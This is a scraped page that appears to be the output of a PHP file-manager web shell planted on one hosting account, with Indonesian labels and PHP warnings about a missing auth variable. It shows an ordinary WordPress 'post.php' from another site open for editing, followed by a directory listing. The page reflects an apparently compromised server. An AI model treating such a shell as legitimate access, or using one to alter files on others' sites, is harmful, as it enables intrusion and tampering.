??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/sendmaxagency.com/wp-admin/post.php
⬅ Kembali
<?php
/**
* Edit post administration panel.
*
* Manage Post actions: post, edit, delete, etc.
*
* @package WordPress
* @subpackage Administration
*/
/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';
$parent_file = 'edit.php';
$submenu_file = 'edit.php';
$action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : '';
if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}
$post_ID = $post_id;
/**
* @global string $post_type Global post type.
* @global WP_Post_Type $post_type_object Global post type object.
* @global WP_Post $post Global post object.
*/
global $post_type, $post_type_object, $post;
if ( $post_id ) {
$post = get_post( $post_id );
}
if ( $post ) {
$post_type = $post->post_type;
$post_type_object = get_post_type_object( $post_type );
}
if ( isset( $_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) {
wp_die( __( 'A post type mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
}
if ( isset( $_POST['deletepost'] ) ) {
$action = 'delete';
} elseif ( isset( $_POST['wp-preview'] ) && 'dopreview' === $_POST['wp-preview'] ) {
$action = 'preview';
}
$sendback = wp_get_referer();
if ( ! $sendback ||
str_contains( $sendback, 'post.php' ) ||
str_contains( $sendback, 'post-new.php' ) ) {
if ( 'attachment' === $post_type ) {
$sendback = admin_url( 'upload.php' );
} else {
$sendback = admin_url( 'edit.php' );
if ( ! empty( $post_type ) ) {
$sendback = add_query_arg( 'post_type', $post_type, $sendback );
}
}
} else {
$sendback = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'ids' ), $sendback );
}
switch ( $action ) {
case 'post-quickdraft-save':
// Check nonce and capabilities.
$nonce = $_REQUEST['_wpnonce'];
$error_msg = false;
// For output of the Quick Draft dashboard widget.
require_once ABSPATH . 'wp-admin/includes/dashboard.php';
if ( ! wp_verify_nonce( $nonce, 'add-post' ) ) {
$error_msg = __( 'Unable to submit this form, please refresh and try again.' );
}
if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
exit;
}
if ( $error_msg ) {
return wp_dashboard_quick_press( $error_msg );
}
$post = get_post( $_REQUEST['post_ID'] );
check_admin_referer( 'add-' . $post->post_type );
$_POST['comment_status'] = get_default_comment_status( $post->post_type );
$_POST['ping_status'] = get_default_comment_status( $post->post_type, 'pingback' );
// Wrap Quick Draft content in the Paragraph block.
if ( ! str_contains( $_POST['content'], '<!-- wp:paragraph -->' ) ) {
$_POST['content'] = sprintf(
'<!-- wp:paragraph -->%s<!-- /wp:paragraph -->',
str_replace( array( "\r\n", "\r", "\n" ), '<br />', $_POST['content'] )
);
}
edit_post();
wp_dashboard_quick_press();
exit;
case 'postajaxpost':
case 'post':
check_admin_referer( 'add-' . $post_type );
$post_id = 'postajaxpost' === $action ? edit_post() : write_post();
redirect_post( $post_id );
exit;
case 'edit':
$editing = true;
if ( empty( $post_id ) ) {
wp_redirect( admin_url( 'post.php' ) );
exit;
}
if ( ! $post ) {
wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ), 404 );
}
if ( ! $post_type_object ) {
wp_die( __( 'Invalid post type.' ), 400 );
}
if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ), true ) ) {
wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ), 403 );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this item.' ), 403 );
}
if ( 'trash' === $post->post_status ) {
wp_die( __( 'You cannot edit this item because it is in the Trash. Please restore it and try again.' ), 409 );
}
if ( ! empty( $_GET['get-post-lock'] ) ) {
check_admin_referer( 'lock-post_' . $post_id );
wp_set_post_lock( $post_id );
wp_redirect( get_edit_post_link( $post_id, 'url' ) );
exit;
}
$post_type = $post->post_type;
if ( 'post' === $post_type ) {
$parent_file = 'edit.php';
$submenu_file = 'edit.php';
$post_new_file = 'post-new.php';
} elseif ( 'attachment' === $post_type ) {
$parent_file = 'upload.php';
$submenu_file = 'upload.php';
$post_new_file = 'media-new.php';
} else {
if ( $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) {
$parent_file = $post_type_object->show_in_menu;
} else {
$parent_file = "edit.php?post_type=$post_type";
}
$submenu_file = "edit.php?post_type=$post_type";
$post_new_file = "post-new.php?post_type=$post_type";
}
$title = $post_type_object->labels->edit_item;
/**
* Allows replacement of the editor.
*
* @since 4.9.0
*
* @param bool $replace Whether to replace the editor. Default false.
* @param WP_Post $post Post object.
*/
if ( true === apply_filters( 'replace_editor', false, $post ) ) {
break;
}
if ( use_block_editor_for_post( $post ) ) {
require ABSPATH . 'wp-admin/edit-form-blocks.php';
break;
}
if ( ! wp_check_post_lock( $post->ID ) ) {
$active_post_lock = wp_set_post_lock( $post->ID );
if ( 'attachment' !== $post_type ) {
wp_enqueue_script( 'autosave' );
}
}
$post = get_post( $post_id, OBJECT, 'edit' );
if ( post_type_supports( $post_type, 'comments' ) ) {
wp_enqueue_script( 'admin-comments' );
enqueue_comment_hotkeys_js();
}
require ABSPATH . 'wp-admin/edit-form-advanced.php';
break;
case 'editattachment':
check_admin_referer( 'update-post_' . $post_id );
// Don't let these be changed.
unset( $_POST['guid'] );
$_POST['post_type'] = 'attachment';
// Update the thumbnail filename.
$newmeta = wp_get_attachment_metadata( $post_id, true );
$newmeta['thumb'] = wp_basename( $_POST['thumb'] );
wp_update_attachment_metadata( $post_id, $newmeta );
// Intentional fall-through to trigger the edit_post() call.
case 'editpost':
check_admin_referer( 'update-post_' . $post_id );
$post_id = edit_post();
// Session cookie flag that the post was saved.
if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
}
redirect_post( $post_id ); // Send user on their way while we keep working.
exit;
case 'trash':
check_admin_referer( 'trash-post_' . $post_id );
if ( ! $post ) {
wp_die( __( 'The item you are trying to move to the Trash no longer exists.' ), 410 );
}
if ( ! $post_type_object ) {
wp_die( __( 'Invalid post type.' ), 400 );
}
if ( ! current_user_can( 'delete_post', $post_id ) ) {
wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ), 403 );
}
$user_id = wp_check_post_lock( $post_id );
if ( $user_id ) {
$user = get_userdata( $user_id );
/* translators: %s: User's display name. */
wp_die( sprintf( __( 'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ), 409 );
}
if ( ! wp_trash_post( $post_id ) ) {
wp_die( __( 'Error in moving the item to Trash.' ), 500 );
}
wp_redirect(
add_query_arg(
array(
'trashed' => 1,
'ids' => $post_id,
),
$sendback
)
);
exit;
case 'untrash':
check_admin_referer( 'untrash-post_' . $post_id );
if ( ! $post ) {
wp_die( __( 'The item you are trying to restore from the Trash no longer exists.' ), 410 );
}
if ( ! $post_type_object ) {
wp_die( __( 'Invalid post type.' ), 400 );
}
if ( ! current_user_can( 'delete_post', $post_id ) ) {
wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ), 403 );
}
if ( ! wp_untrash_post( $post_id ) ) {
wp_die( __( 'Error in restoring the item from Trash.' ), 500 );
}
$sendback = add_query_arg(
array(
'untrashed' => 1,
'ids' => $post_id,
),
$sendback
);
wp_redirect( $sendback );
exit;
case 'delete':
check_admin_referer( 'delete-post_' . $post_id );
if ( ! $post ) {
wp_die( __( 'This item has already been deleted.' ), 410 );
}
if ( ! $post_type_object ) {
wp_die( __( 'Invalid post type.' ), 400 );
}
if ( ! current_user_can( 'delete_post', $post_id ) ) {
wp_die( __( 'Sorry, you are not allowed to delete this item.' ), 403 );
}
if ( 'attachment' === $post->post_type ) {
$force = ( ! MEDIA_TRASH );
if ( ! wp_delete_attachment( $post_id, $force ) ) {
wp_die( __( 'Error in deleting the attachment.' ), 500 );
}
} else {
if ( ! wp_delete_post( $post_id, true ) ) {
wp_die( __( 'Error in deleting the item.' ), 500 );
}
}
wp_redirect( add_query_arg( 'deleted', 1, $sendback ) );
exit;
case 'preview':
check_admin_referer( 'update-post_' . $post_id );
$url = post_preview();
wp_redirect( $url );
exit;
case 'toggle-custom-fields':
check_admin_referer( 'toggle-custom-fields', 'toggle-custom-fields-nonce' );
$current_user_id = get_current_user_id();
if ( $current_user_id ) {
$enable_custom_fields = (bool) get_user_meta( $current_user_id, 'enable_custom_fields', true );
update_user_meta( $current_user_id, 'enable_custom_fields', ! $enable_custom_fields );
}
wp_safe_redirect( wp_get_referer() );
exit;
default:
/**
* Fires for a given custom post action request.
*
* The dynamic portion of the hook name, `$action`, refers to the custom post action.
*
* @since 4.6.0
*
* @param int $post_id Post ID sent with the request.
*/
do_action( "post_action_{$action}", $post_id );
wp_redirect( admin_url( 'edit.php' ) );
exit;
} // End switch.
require_once ABSPATH . 'wp-admin/admin-footer.php';
Nama
Tipe
Ukuran
Diubah
Aksi
📁 closer
dir
—
2026-06-20 17:49
📁 css
dir
—
2026-05-22 04:01
📁 images
dir
—
2026-05-22 04:01
📁 includes
dir
—
2026-06-20 17:49
📁 js
dir
—
2025-08-13 03:47
📁 maint
dir
—
2025-08-13 03:47
📁 network
dir
—
2026-06-20 17:49
📁 user
dir
—
2026-06-20 17:49
🐘 about.php
php
16 KB
2026-05-22 04:01
🐘 admin-ajax.php
php
5 KB
2024-07-04 15:22
🐘 admin-footer.php
php
2.7 KB
2026-05-22 04:01
🐘 admin-functions.php
php
479 B
2025-01-22 19:06
🐘 admin-header.php
php
9.1 KB
2026-05-22 04:00
🐘 admin-post.php
php
2 KB
2025-01-16 21:18
🐘 admin.php
php
12.6 KB
2026-05-22 04:00
🐘 async-upload.php
php
5.5 KB
2025-12-03 10:04
🐘 authorize-application.php
php
10.1 KB
2023-09-14 04:54
🐘 comment.php
php
11.4 KB
2026-05-22 04:01
🐘 contribute.php
php
5.9 KB
2026-05-22 04:01
🐘 credits.php
php
4.4 KB
2026-05-22 04:01
🐘 custom-background.php
php
489 B
2025-01-22 19:06
🐘 custom-header.php
php
499 B
2025-01-22 19:06
🐘 customize.php
php
11.2 KB
2026-05-22 04:01
🐘 edit-comments.php
php
14.1 KB
2026-05-22 04:01
🐘 edit-form-advanced.php
php
28.8 KB
2026-05-22 04:01
🐘 edit-form-blocks.php
php
14.7 KB
2026-05-22 04:01
🐘 edit-form-comment.php
php
8.3 KB
2026-05-22 04:01
🐘 edit-link-form.php
php
6.2 KB
2025-02-08 16:44
🐘 edit-tag-form.php
php
10.4 KB
2026-05-22 04:01
🐘 edit-tags.php
php
22 KB
2026-05-22 04:00
🐘 edit.php
php
19.5 KB
2024-10-04 02:46
🐘 erase-personal-data.php
php
7.3 KB
2024-04-18 00:21
📄 error_log
file
140.7 KB
2026-06-24 14:34
🐘 export-personal-data.php
php
7.8 KB
2024-04-18 00:21
🐘 export.php
php
11 KB
2026-05-22 04:01
🐘 font-library.php
php
1 KB
2026-05-22 04:01
🐘 freedoms.php
php
4.8 KB
2026-05-22 04:01
🐘 import.php
php
7.6 KB
2025-02-25 23:34
🐘 index.php
php
7.7 KB
2023-09-14 04:54
🐘 install-helper.php
php
6.8 KB
2022-11-20 19:10
🐘 install.php
php
17.9 KB
2026-05-22 04:01
🐘 link-add.php
php
934 B
2025-02-08 16:44
🐘 link-manager.php
php
4.3 KB
2025-02-08 16:44
🐘 link-parse-opml.php
php
2.6 KB
2026-05-22 04:01
🐘 link.php
php
2.9 KB
2024-05-01 22:01
🐘 load-scripts.php
php
2 KB
2024-08-26 03:48
🐘 load-styles.php
php
2.9 KB
2024-11-04 20:51
🐘 media-new.php
php
3.2 KB
2026-05-22 04:01
🐘 media-upload.php
php
3.6 KB
2025-02-08 20:53
🐘 media.php
php
819 B
2024-05-01 22:01
🐘 menu-header.php
php
9.8 KB
2025-02-21 02:29
🐘 menu.php
php
17.7 KB
2026-05-22 04:01
🐘 moderation.php
php
307 B
2020-02-06 11:33
🐘 ms-admin.php
php
196 B
2020-02-06 11:33
🐘 ms-delete-site.php
php
4.5 KB
2025-12-03 10:04
🐘 ms-edit.php
php
216 B
2020-02-06 11:33
🐘 ms-options.php
php
229 B
2024-06-22 15:47
🐘 ms-sites.php
php
215 B
2020-02-06 11:33
🐘 ms-themes.php
php
217 B
2020-02-06 11:33
🐘 ms-upgrade-network.php
php
219 B
2020-02-06 11:33
🐘 ms-users.php
php
215 B
2020-02-06 11:33
🐘 my-sites.php
php
4.7 KB
2026-05-22 04:01
🐘 nav-menus.php
php
49.1 KB
2026-05-22 04:00
🐘 network.php
php
5.4 KB
2024-03-09 03:38
🐘 options-connectors.php
php
1.1 KB
2026-05-22 04:01
🐘 options-discussion.php
php
15.9 KB
2025-12-03 10:04
🐘 options-general.php
php
22.3 KB
2026-05-22 04:01
🐘 options-head.php
php
621 B
2025-01-22 19:06
🐘 options-media.php
php
6.4 KB
2025-12-03 10:04
🐘 options-permalink.php
php
21.9 KB
2026-05-22 04:00
🐘 options-privacy.php
php
9.9 KB
2026-05-22 04:01
🐘 options-reading.php
php
10 KB
2026-05-22 04:01
🐘 options-writing.php
php
9.1 KB
2025-12-03 10:04
🐘 options.php
php
13.9 KB
2026-05-22 04:01
🐘 plugin-editor.php
php
13.8 KB
2025-12-03 10:04
🐘 plugin-install.php
php
7 KB
2024-02-20 12:27
🐘 plugins.php
php
30 KB
2025-02-08 16:44
🐘 post-new.php
php
2.7 KB
2024-06-15 16:34
🐘 post.php
php
10 KB
2025-12-03 10:04
🐘 press-this.php
php
2.4 KB
2026-05-22 04:01
🐘 privacy-policy-guide.php
php
3.7 KB
2023-11-22 22:44
🐘 privacy.php
php
2.8 KB
2026-05-22 04:00
🐘 profile.php
php
283 B
2020-02-06 11:33
🐘 revision.php
php
5.7 KB
2025-12-03 10:04
🐘 setup-config.php
php
17.5 KB
2026-05-22 04:01
🐘 site-editor.php
php
12.1 KB
2026-05-22 04:01
🐘 site-health-info.php
php
4.1 KB
2026-05-22 04:01
🐘 site-health.php
php
10.2 KB
2026-05-22 04:01
🐘 term.php
php
2.2 KB
2022-06-01 22:14
🐘 theme-editor.php
php
16.9 KB
2025-12-03 10:04
🐘 theme-install.php
php
23.6 KB
2026-05-22 04:01
🐘 themes.php
php
47.9 KB
2025-12-03 10:04
🐘 tools.php
php
3.4 KB
2023-02-23 15:38
🐘 update-core.php
php
45.1 KB
2026-05-22 04:01
🐘 update.php
php
12.8 KB
2026-05-22 04:00
🐘 upgrade-functions.php
php
341 B
2020-02-06 11:33
🐘 upgrade.php
php
6.2 KB
2026-05-22 04:01
🐘 upload.php
php
14.9 KB
2026-05-22 04:01
🐘 user-edit.php
php
40.4 KB
2026-05-22 04:01
🐘 user-new.php
php
24.1 KB
2026-05-22 04:01
🐘 users.php
php
23.4 KB
2026-05-22 04:00
🐘 widgets-form-blocks.php
php
5.1 KB
2025-12-03 10:04
🐘 widgets-form.php
php
19.1 KB
2026-05-22 04:00
🐘 widgets.php
php
1.1 KB
2022-03-22 23:59